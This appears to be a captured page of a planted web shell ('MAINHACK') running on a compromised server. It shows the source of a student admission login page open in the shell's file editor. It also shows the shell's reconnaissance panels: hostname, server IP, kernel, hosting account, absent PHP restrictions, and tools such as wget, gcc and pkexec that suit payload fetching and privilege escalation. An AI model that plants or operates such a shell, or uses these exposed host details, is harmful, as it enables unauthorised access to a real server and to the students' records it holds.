[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index2000.php
<?php include("functions.php"); if (isset($_SESSION['index_no78897498'])) { header("Location: dashboard.php"); exit(); // Ensure no further code is executed } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Student login page</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="eliosof" name="author" /> <!-- App favicon --> <!-- <link rel="shortcut icon" href="assets/images/favicon.ico"> --> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> <link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.1.0-beta.1/css/select2.min.css" rel="stylesheet" /> <script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.1.0-beta.1/js/select2.min.js"></script> <style> /* Blinking Effect */ @keyframes blink { 0%, 50% { opacity: 1; } 50%, 100% { opacity: 0; } } .blink { animation: blink 5s infinite; /* 1-second blinking cycle */ } </style> </head> <body> <style> /* Add this CSS to your stylesheet or within a <style> tag */ body { background-image: url('440.jpg'); /* Replace with your actual image URL */ background-size: cover; /* Cover the entire page */ background-position: center; /* Center the image */ background-repeat: no-repeat; /* Prevent the image from repeating */ height: 100vh; /* Ensure the body takes the full height */ } </style> <div class="row g-0"> <div class="col-xxl-3 col-lg-4 col-md-5 mx-auto"> <div class="auth-full-page-content d-flex p-sm-5 p-4 align-items-center justify-content-center shadow-lg" style="min-height: 100vh; background-color: rgba(255, 255, 255, 0.8); border-radius: 10px;"> <div class="w-100"> <div class="d-flex flex-column h-100 align-items-center text-center"> <p style="font-size: 15px; font-weight: bold;">ADMISSION INSTRUCTIONS</p> <div class="auth-content my-auto"> <div class="text-center mb-4"> <?php if($message != "") { echo ($message); }?> </div> <!-- <p class="mb-4" style="font-size: 14px; line-height: 1.5; justify-content: justify;"> Please ensure that you have printed your CSSPS PLACEMENT FORM. Your ENROLMENT CODE, which can be found on your Placement Form, would be REQUIRED by this system. Your admission is NOT complete without your Enrolment Code. </p> --> <form method="POST" class="needs-validation mt-4 pt-2 w-100" novalidate> <?php echo csrf_token_tag(); ?> <div class="mb-3" style="position: relative;"> <label class="form-label" style="color:red"> Search for your Full Name (Surname first followed by First Name and Middle/Other names) </label> <input type="text" id="searchInput" onkeyup="searchNames()" class="form-control" placeholder="Type your name..." name="stud_name20" autocomplete="off" required> <div id="suggestions" class="suggestions"></div> </div> <div class="mb-3" style="position: relative;"> <label class="form-label" style="color:red">Search for Your School</label> <input type="text" id="schoolInput" onkeyup="searchSchools()" class="form-control" placeholder="Type your school name..." name="school_name" autocomplete="off" required> <div id="schoolSuggestions" class="suggestions"></div> </div> <!-- <div class="mb-3"> <label class="form-label">Enter the Last Four Digits of your B.E.C.E. Index Number</label> <input type="number" class="form-control" name="indexNo" placeholder="Enter your JHS index number" required> <div class="invalid-feedback"> Index number is required. </div> </div> --> <input type="hidden" id="schoolCode" name="school_code"> <div class="mb-3"> <button class="btn btn-primary w-100 waves-effect waves-light" type="submit" name="submit">VERIFY</button> </div> <h5 class="mt-3">HELPLINE +233 208 825 287</h5> </form> </div> <div class="mt-4 mt-md-5 text-center"> <p class="mb-0">© <script>document.write(new Date().getFullYear())</script> Powered by BBECAS</p> </div> </div> </div> </div> </div> </div> <script> // Function to search student names function searchNames() { const query = document.getElementById('searchInput').value; const suggestionBox = document.getElementById('suggestions'); if (query.length < 1) { suggestionBox.innerHTML = ''; return; } const xhr = new XMLHttpRequest(); xhr.open("GET", "searchstudent.php?query=" + encodeURIComponent(query), true); xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { const names = JSON.parse(xhr.responseText); suggestionBox.innerHTML = ''; names.forEach(name => { const item = document.createElement('div'); item.className = 'suggestion-item'; item.textContent = name; item.onclick = function () { document.getElementById('searchInput').value = name; suggestionBox.innerHTML = ''; }; suggestionBox.appendChild(item); }); } }; xhr.send(); } </script> <script type="text/javascript"> function searchSchools() { const query = document.getElementById('schoolInput').value.trim(); const schoolBox = document.getElementById('schoolSuggestions'); // Clear suggestions if input is empty if (query.length < 1) { schoolBox.innerHTML = ''; return; } const xhr = new XMLHttpRequest(); xhr.open("GET", "search_schools.php?query=" + encodeURIComponent(query), true); xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { try { const schools = JSON.parse(xhr.responseText); // Handle JSON response schoolBox.innerHTML = ''; if (schools.length === 0) { schoolBox.innerHTML = '<div class="suggestion-item">No matches found</div>'; } else { schools.forEach(school => { const item = document.createElement('div'); item.className = 'suggestion-item'; item.textContent = `${school.school_name} (${school.school_code})`; item.onclick = function () { document.getElementById('schoolInput').value = school.school_name; document.getElementById('schoolCode').value = school.school_code; schoolBox.innerHTML = ''; }; schoolBox.appendChild(item); }); } } catch (error) { console.error('Invalid JSON response:', error); schoolBox.innerHTML = '<div class="suggestion-item">Error loading suggestions</div>'; } } }; xhr.send(); } </script> <?php $sql = "SELECT c.cid AS class_id, c.class_name, GROUP_CONCAT(e.index_no) AS students FROM enrol_details e JOIN class c ON e.class_id = c.cid WHERE e.s_code = ? GROUP BY c.cid, c.class_name"; $stmt = mysqli_prepare($new, $sql); mysqli_stmt_bind_param($stmt, "s", $myschoolcode); // 's' for string mysqli_stmt_execute($stmt); $studentD = mysqli_stmt_get_result($stmt); if (!$studentD) { die("Query failed: " . mysqli_error($new)); } ?> <div class="row"> <?php while ($getinfo = mysqli_fetch_array($studentD)) { $class_id = htmlspecialchars($getinfo['class_id']); $class_name = htmlspecialchars($getinfo['class_name']); $students = htmlspecialchars($getinfo['students']); // Comma-separated index_no values $student_array = explode(',', $students); // Split into array for display ?> <div class="col-md-3"> <div class="student-card"> <!-- Placeholder image for class; replace with dynamic if available --> <img src="https://via.placeholder.com/300x200" class="student-img" alt="<?php echo $class_name; ?>"> <div class="card-body"> <h5 class="card-title"><?php echo $class_name; ?></h5> <h6 class="card-subtitle mb-2">Class ID: <?php echo $class_id; ?></h6> <p class="card-text"> <strong>Students:</strong><br> <?php if (!empty($student_array)) { echo "<ul>"; foreach ($student_array as $index_no) { echo "<li>" . htmlspecialchars($index_no) . "</li>"; } echo "</ul>"; } else { echo "No students enrolled."; } ?> </p> </div> </div> </div> <?php } // Free result and close statement mysqli_stmt_close($stmt); ?> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> <!-- password addon init --> <script src="assets/js/pages/pass-addon.init.js"></script> <script src="assets/js/pages/validation.init.js"></script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002